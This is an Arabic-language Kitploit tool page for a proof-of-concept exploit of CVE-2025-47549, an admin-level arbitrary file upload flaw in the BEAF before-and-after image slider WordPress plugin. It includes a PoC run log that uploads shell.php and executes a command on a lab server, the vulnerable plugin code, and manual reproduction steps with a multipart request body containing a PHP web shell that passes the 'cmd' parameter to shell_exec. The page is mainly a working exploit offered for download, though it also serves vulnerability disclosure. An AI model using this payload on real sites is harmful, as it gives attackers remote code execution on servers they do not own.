Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-47549 — سلايدر ومعرض الصور قبل وبعد النهائي – BEAF <= 4.6.10 - رفع ملفات تعسفي للمستخدمين الموثّقين (مسؤول+) عبر beaf_options_save | Kitploit
أدوات/GitHubGitHub/d0n601/cve-2025-47549
توليد الحمولةتحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubd0n601/cve-2025-47549

CVE-2025-47549

سلايدر ومعرض الصور قبل وبعد النهائي – BEAF <= 4.6.10 - رفع ملفات تعسفي للمستخدمين الموثّقين (مسؤول+) عبر beaf_options_save

عرض المستودع
منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Ultimate Before After Image Slider & Gallery – BEAF <= 4.6.10 - رفع ملف تعسفي مصادق عليه (مسؤول+) عبر beaf_options_save

لا يقوم مكوّن Ultimate Before After Image Slider & Gallery بتنقية أنواع ملفات إجراء beaf_options_save، مما يسمح للمسؤولين أو من فوقهم برفع ملفات عشوائية وربما الحصول على تنفيذ كود على الخادم.

ملخص الاستغلالات المختصر

  • تم توفير CVE-2025-47549.py برهان للمفهوم (POC) لإظهار مسؤول يرفع شيل ويب باسم shell.php.
root@kitploit:~
python3 CVE-2025-47549.py https://lab1.hacker admin PASSWORD
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
{"status":"success","message":"Options saved successfully!"}
Web Shell Location: https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 68200sec preferred_lft 68200sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86113sec preferred_lft 14113sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:e5:9e:f6:23 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

## التفاصيل  
يستدعي إجراء `beaf_options_save` الدالة `beaf_save_options()` في السطر [227](https://plugins.trac.wordpress.org/browser/beaf-before-and-after-gallery/trunk/admin/tf-options/classes/BEAF_Settings.php#L227) من `/wp-content/plugins/beaf-before-and-after-gallery/admin/tf-options/classes/BEAF_Settings.php` دون فرض أي التحقق من صحة نوع الملف. 

تتحقق الأسطر [281-292](https://plugins.trac.wordpress.org/browser/beaf-before-and-after-gallery/trunk/admin/tf-options/classes/BEAF_Settings.php#L281-292) من هذه الدالة من طلب HTTP بحثًا عن `$_FILES` وتتحقق فقط من نوع MIME مقابل نوع عام `application/octet-stream`. ثم تخزن الملف في دليل يمكن الوصول إليه عبر الويب `/wp-content/uploads/itinerary-fonts`.
```php
    if ( isset( $_FILES ) && ! empty( $_FILES['file'] ) ) {
        $tf_upload_dir = wp_upload_dir();
        if ( ! empty( $tf_upload_dir['basedir'] ) ) {
            $tf_itinerary_fonts = $tf_upload_dir['basedir'] . '/itinerary-fonts';
            if ( ! file_exists( $tf_itinerary_fonts ) ) {
                wp_mkdir_p( $tf_itinerary_fonts );
            }
            $tf_fonts_extantions = array( 'application/octet-stream' );
            for ( $i = 0; $i < count( $_FILES['file']['name'] ); $i++ ) {
                if ( in_array( $_FILES['file']['type'][ $i ], $tf_fonts_extantions ) ) {
                    $tf_font_filename = $_FILES['file']['name'][ $i ];
                    move_uploaded_file( $_FILES['file']['tmp_name'][ $i ], $tf_itinerary_fonts . '/' . $tf_font_filename );
                }
            }
        }
    }

إعادة الإنتاج يدويًا

  1. سجل الدخول إلى لوحة التحكم وانتقل إلى Before and After Slider -> Settings.
    • مثال: https://lab1.hacker/wp-admin/edit.php?post_type=bafg&page=beaf_settings.
  2. شغّل Burp Suite أو أداة مشابهة وابدأ باعتراض حركة المرور.
  3. انقر على زر Save في الزاوية اليمنى السفلية. test1
  4. اعترض طلب POST في Burp، وأرفق بيانات ملفك الخاص (تأكد من استخدام الحدود الصحيحة للنموذج).
root@kitploit:~
------WebKitFormBoundarydAJeoqdwR5qxfDb1
Content-Disposition: form-data; name="file[]"; filename="shell.php"
Content-Type: application/octet-stream

<?php
// Silence is golden
if (!empty($_GET['cmd'])) {
    echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
}
------WebKitFormBoundarydAJeoqdwR5qxfDb1--
  1. عدّل الطلب التالي الذي يحتوي على بيانات النموذج لضبط اسم الملف إلى poc.php: test2
  2. انتقل إلى https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php لتنفيذ برهان المفهوم. test3
تنزيل الأداة